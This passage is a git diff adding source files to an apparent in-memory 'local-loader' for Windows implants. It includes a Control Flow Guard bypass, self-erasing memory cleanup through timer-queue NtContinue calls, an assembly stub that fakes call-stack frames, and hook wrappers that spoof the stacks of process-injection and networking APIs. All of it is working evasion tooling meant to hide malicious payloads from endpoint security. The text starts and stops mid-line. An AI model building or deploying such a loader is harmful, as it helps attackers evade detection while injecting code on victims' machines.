pMoarZero; +} VM_INFORMATION; + +typedef enum { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY; + +typedef enum { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS; + +BOOL cfg_enabled ( ); +BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/local-loader/src/cleanup.c b/local-loader/src/cleanup.c new file mode 100644 index 0000000..75f3069 --- /dev/null +++ b/local-loader/src/cleanup.c @@ -0,0 +1,92 @@ +#include +#include "memory.h" +#include "cfg.h" +#include "spoof.h" +#include "tcg.h" + +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); + +DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); + +#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); + +#define NTDLL_HASH 0x3CFA685D +#define VIRTUALFREE_HASH 0x30633AC + +void cleanup_memory ( MEMORY_LAYOUT * memory ) +{ + /* is cfg enabled? */ + BOOL enabled = cfg_enabled ( ); + + if ( enabled ) { + /* try to bypass it at NtContinue */ + if ( bypass_cfg ( NTDLL$NtContinue ) ) { + enabled = FALSE; + } + } + + /* + * just return if we + * failed to bypass it + */ + + if ( enabled ) { + return; + } + + /* + * crack on and setup a timer + * to free the memory regions + */ + + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_ALL; + + HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; + + if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) + { + /* give RtlCaptureContext a chance to run */ + KERNEL32$Sleep ( 100 ); + + if ( ctx.Rip != 0 ) + { + HANDLE heap = KERNEL32$GetProcessHeap ( ); + CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); + + for ( int i = 0; i < 2; i++ ) { + memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); + } + + /* + * we use VirtualFree here because + * the loader uses VirtualAlloc + */ + + /* the dll */ + ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); + ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* this pico */ + ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); + ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* give a decent delay so ExitThread has time to be called */ + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + } + } +} diff --git a/local-loader/src/cleanup.h b/local-loader/src/cleanup.h new file mode 100644 index 0000000..65c0861 --- /dev/null +++ b/local-loader/src/cleanup.h @@ -0,0 +1 @@ +void cleanup_memory ( MEMORY_LAYOUT * memory ); diff --git a/local-loader/src/draugr.asm b/local-loader/src/draugr.asm new file mode 100644 index 0000000..a736300 --- /dev/null +++ b/local-loader/src/draugr.asm @@ -0,0 +1,147 @@ +[BITS 64] + + draugr_stub: + pop rax ; Real return address in rax + + mov r10, rdi ; Store OG rdi in r10 + mov r11, rsi ; Store OG rsi in r11 + + mov rdi, [ rsp + 32 ] ; Storing struct in rdi + mov rsi, [ rsp + 40 ] ; Storing function to call + + ; --------------------------------------------------------------------- + ; Storing our original registers + ; --------------------------------------------------------------------- + + mov [ rdi + 24 ], r10 ; Storing OG rdi into param + mov [ rdi + 88 ], r11 ; Storing OG rsi into param + mov [ rdi + 96 ], r12 ; Storing OG r12 into param + mov [ rdi + 104 ], r13 ; Storing OG r13 into param + mov [ rdi + 112 ], r14 ; Storing OG r14 into param + mov [ rdi + 120 ], r15 ; Storing OG r15 into param + + mov r12, rax ; OG code used r12 for ret addr + + ; --------------------------------------------------------------------- + ; Prepping to move stack args + ; --------------------------------------------------------------------- + + xor r11, r11 ; r11 will hold the # of args that have been "pushed" + mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed + + mov r14, 0x200 ; r14 will hold the offset we need to push stuff + add r14, 8 + add r14, [ rdi + 56 ] ; stack size of RUTS + add r14, [ rdi + 48 ] ; stack size of BTIT + add r14, [ rdi + 32 ] ; stack size of our gadget frame + sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time + + mov r10, rsp + add r10, 0x30 ; offset of stack arg added to rsp + + looping: + xor r15, r15 ; r15 will hold the offset + rsp base + cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add + je finish + + ; --------------------------------------------------------------------- + ; Getting location to move the stack arg to + ; --------------------------------------------------------------------- + + sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. + mov r15, rsp ; get current stack base + sub r15, r14 ; subtract offset + + ; --------------------------------------------------------------------- + ; Procuring the stack arg + ; --------------------------------------------------------------------- + + add r10, 8 + + push qword [ r10 ] + pop qword [ r15 ] + + ; --------------------------------------------------------------------- + ; Increment the counter and loop back in case we need more args + ; --------------------------------------------------------------------- + add r11, 1 + jmp looping + + finish: + + ; ---------------------------------------------------------------------- + ; Creating a big 320 byte working space + ; ---------------------------------------------------------------------- + + sub rsp, 0x200 + + ; ---------------------------------------------------------------------- + ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. + ; Need to figure out why this cuts off the call stack + ; ---------------------------------------------------------------------- + + push 0 + + ; ---------------------------------------------------------------------- + ; RtlUserThreadStart + 0x14 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 56 ] + mov r11, [ rdi + 64 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; BaseThreadInitThunk + 0x21 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 32 ] + mov r11, [ rdi + 40 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Gadget frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 48 ] + mov r11, [ rdi + 80 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Adjusting the param struct for the fixup + ; ---------------------------------------------------------------------- + + mov r11, rsi ; Copying function to call into r11 + + mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member + mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member + lea rbx, [ rel fixup ] ; Fixup address is moved into rbx + mov [ rdi ], rbx ; Fixup member now holds the address of Fixup + mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx + + ; ---------------------------------------------------------------------- + ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made + ; ---------------------------------------------------------------------- + mov r10, rcx + mov rax, [ rdi + 72 ] + + jmp r11 + + fixup: + mov rcx, rbx + add rsp, 0x200 ; Big frame thing + add rsp, [ rbx + 48 ] ; Stack size + add rsp, [ rbx + 32 ] ; Stack size + add rsp, [ rbx + 56 ] ; Stack size + + mov rbx, [ rcx + 16 ] ; Restoring OG RBX + mov rdi, [ rcx + 24 ] ; ReStoring OG rdi + mov rsi, [ rcx + 88 ] ; ReStoring OG rsi + mov r12, [ rcx + 96 ] ; ReStoring OG r12 + mov r13, [ rcx + 104 ] ; ReStoring OG r13 + mov r14, [ rcx + 112 ] ; ReStoring OG r14 + mov r15, [ rcx + 120 ] ; ReStoring OG r15 + push rax + + xor rax, rax + pop rax + jmp QWORD [ rcx + 8 ] diff --git a/local-loader/src/hooks.c b/local-loader/src/hooks.c new file mode 100644 index 0000000..4abb249 --- /dev/null +++ b/local-loader/src/hooks.c @@ -0,0 +1,420 @@ +#include +#include +#include +#include "tcg.h" +#include "memory.h" +#include "spoof.h" + +DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR ); +DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD ); + +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * ); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * ); + +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * ); + +DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); + +// cannot put this here because it fails to build +// to PIC when hooks.x64.o is merged into the loader +// extern MEMORY_LAYOUT g_memory; + +HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WININET$InternetOpenA ); + call.argc = 5; + call.args [ 0 ] = spoof_arg ( lpszAgent ); + call.args [ 1 ] = spoof_arg ( dwAccessType ); + call.args [ 2 ] = spoof_arg ( lpszProxy ); + call.args [ 3 ] = spoof_arg ( lpszProxyBypass ); + call.args [ 4 ] = spoof_arg ( dwFlags ); + + return ( HINTERNET ) spoof_call ( &call ); +} + +HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WININET$InternetConnectA ); + call.argc = 8; + call.args [ 0 ] = spoof_arg ( hInternet ); + call.args [ 1 ] = spoof_arg ( lpszServerName ); + call.args [ 2 ] = spoof_arg ( nServerPort ); + call.args [ 3 ] = spoof_arg ( lpszUserName ); + call.args [ 4 ] = spoof_arg ( lpszPassword ); + call.args [ 5 ] = spoof_arg ( dwService ); + call.args [ 6 ] = spoof_arg ( dwFlags ); + call.args [ 7 ] = spoof_arg ( dwContext ); + + return ( HINTERNET ) spoof_call ( &call ); +} + +BOOL WINAPI _CloseHandle ( HANDLE hObject ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CloseHandle ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( hObject ); + + return ( BOOL ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA ); + call.argc = 6; + + call.args [ 0 ] = spoof_arg ( hFile ); + call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes ); + call.args [ 2 ] = spoof_arg ( flProtect ); + call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh ); + call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow ); + call.args [ 5 ] = spoof_arg ( lpName ); + + return ( HANDLE ) spoof_call ( &call ); +} + +BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA ); + call.argc = 10; + + call.args [ 0 ] = spoof_arg ( lpApplicationName ); + call.args [ 1 ] = spoof_arg ( lpCommandLine ); + call.args [ 2 ] = spoof_arg ( lpProcessAttributes ); + call.args [ 3 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 4 ] = spoof_arg ( bInheritHandles ); + call.args [ 5 ] = spoof_arg ( dwCreationFlags ); + call.args [ 6 ] = spoof_arg ( lpEnvironment ); + call.args [ 7 ] = spoof_arg ( lpCurrentDirectory ); + call.args [ 8 ] = spoof_arg ( lpStartupInfo ); + call.args [ 9 ] = spoof_arg ( lpProcessInformation ); + + return ( BOOL ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread ); + call.argc = 7; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 2 ] = spoof_arg ( dwStackSize ); + call.args [ 3 ] = spoof_arg ( lpStartAddress ); + call.args [ 4 ] = spoof_arg ( lpParameter ); + call.args [ 5 ] = spoof_arg ( dwCreationFlags ); + call.args [ 6 ] = spoof_arg ( lpThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateThread ); + call.argc = 6; + + call.args [ 0 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 1 ] = spoof_arg ( dwStackSize ); + call.args [ 2 ] = spoof_arg ( lpStartAddress ); + call.args [ 3 ] = spoof_arg ( lpParameter ); + call.args [ 4 ] = spoof_arg ( dwCreationFlags ); + call.args [ 5 ] = spoof_arg ( lpThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( OLE32$CoCreateInstance ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( rclsid ); + call.args [ 1 ] = spoof_arg ( pUnkOuter ); + call.args [ 2 ] = spoof_arg ( dwClsContext ); + call.args [ 3 ] = spoof_arg ( riid ); + call.args [ 4 ] = spoof_arg ( ppv ); + + return ( HRESULT ) spoof_call ( &call ); +} + +BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle ); + call.argc = 7; + + call.args [ 0 ] = spoof_arg ( hSourceProcessHandle ); + call.args [ 1 ] = spoof_arg ( hSourceHandle ); + call.args [ 2 ] = spoof_arg ( hTargetProcessHandle ); + call.args [ 3 ] = spoof_arg ( lpTargetHandle ); + call.args [ 4 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 5 ] = spoof_arg ( bInheritHandle ); + call.args [ 6 ] = spoof_arg ( dwOptions ); + + return ( BOOL ) spoof_call ( &call ); +} + +HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( LoadLibraryA ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + + return ( HMODULE ) spoof_call ( &call ); +} + +BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext ); + call.argc = 2; + + call.args [ 0 ] = spoof_arg ( hThread ); + call.args [ 1 ] = spoof_arg ( lpContext ); + + return ( BOOL ) spoof_call ( &call ); +} + +LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hFileMappingObject ); + call.args [ 1 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh ); + call.args [ 3 ] = spoof_arg ( dwFileOffsetLow ); + call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap ); + + return ( LPVOID ) spoof_call ( &call ); +} + +HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$OpenProcess ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 1 ] = spoof_arg ( bInheritHandle ); + call.args [ 2 ] = spoof_arg ( dwProcessId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$OpenThread ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 1 ] = spoof_arg ( bInheritHandle ); + call.args [ 2 ] = spoof_arg ( dwThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpBaseAddress ); + call.args [ 2 ] = spoof_arg ( lpBuffer ); + call.args [ 3 ] = spoof_arg ( nSize ); + call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead ); + + return ( BOOL ) spoof_call ( &call ); +} + +DWORD WINAPI _ResumeThread ( HANDLE hThread ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ResumeThread ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( hThread ); + + return ( DWORD ) spoof_call ( &call ); +} + +BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext ); + call.argc = 2; + + call.args [ 0 ] = spoof_arg ( hThread ); + call.args [ 1 ] = spoof_arg ( lpContext ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpBaseAddress ); + + return ( BOOL ) spoof_call ( &call ); +} + +LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flAllocationType ); + call.args [ 3 ] = spoof_arg ( flProtect ); + + return ( LPVOID ) spoof_call ( &call ); +} + +LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpAddress ); + call.args [ 2 ] = spoof_arg ( dwSize ); + call.args [ 3 ] = spoof_arg ( flAllocationType ); + call.args [ 4 ] = spoof_arg ( flProtect ); + + return ( LPVOID ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( dwFreeType ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flNewProtect ); + call.args [ 3 ] = spoof_arg ( lpflOldProtect ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpAddress ); + call.args [ 2 ] = spoof_arg ( dwSize ); + call.args [ 3 ] = spoof_arg ( flNewProtect ); + call.args [ 4 ] = spoof_arg ( lpflOldProtect ); + + return ( BOOL ) spoof_call ( &call ); +} + +SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( lpBuffer ); + call.args [ 2 ] = spoof_arg ( dwLength ); + + return ( SIZE_T ) spoof_call ( &call ); +} + +BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpBaseAddress ); + call.args [ 2 ] = spoof_arg ( lpBuffer ); + call.args [ 3 ] = spoof_arg ( nSize ); + call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten ); + + return ( BOOL ) spoof_call ( &call ); +} diff --git a/local-loader/src/loader.c b/local-loader/src/loader.c new file mode 100644 index 0000000..6f0f350 --- /dev/null +++ b/local-loader/src/loader.c @@ -0,0 +1,146 @@ +#include +#include "loader.h" +#include "tcg.h" +#include "memory.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); + +char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); +char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); +char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); + +int __tag_setup_hooks ( ); +int __tag_setup_memory ( ); + +typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); +typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); + +void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) +{ + DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = NULL; + void * section_dst = NULL; + DWORD section_size = 0; + DWORD new_protect = 0; + DWORD old_protect = 0; + + section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( int i = 0; i < section_count; i++ ) + { + section_dst = dst + section_hdr->VirtualAddress; + section_size = section_hdr->SizeOfRawData; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & 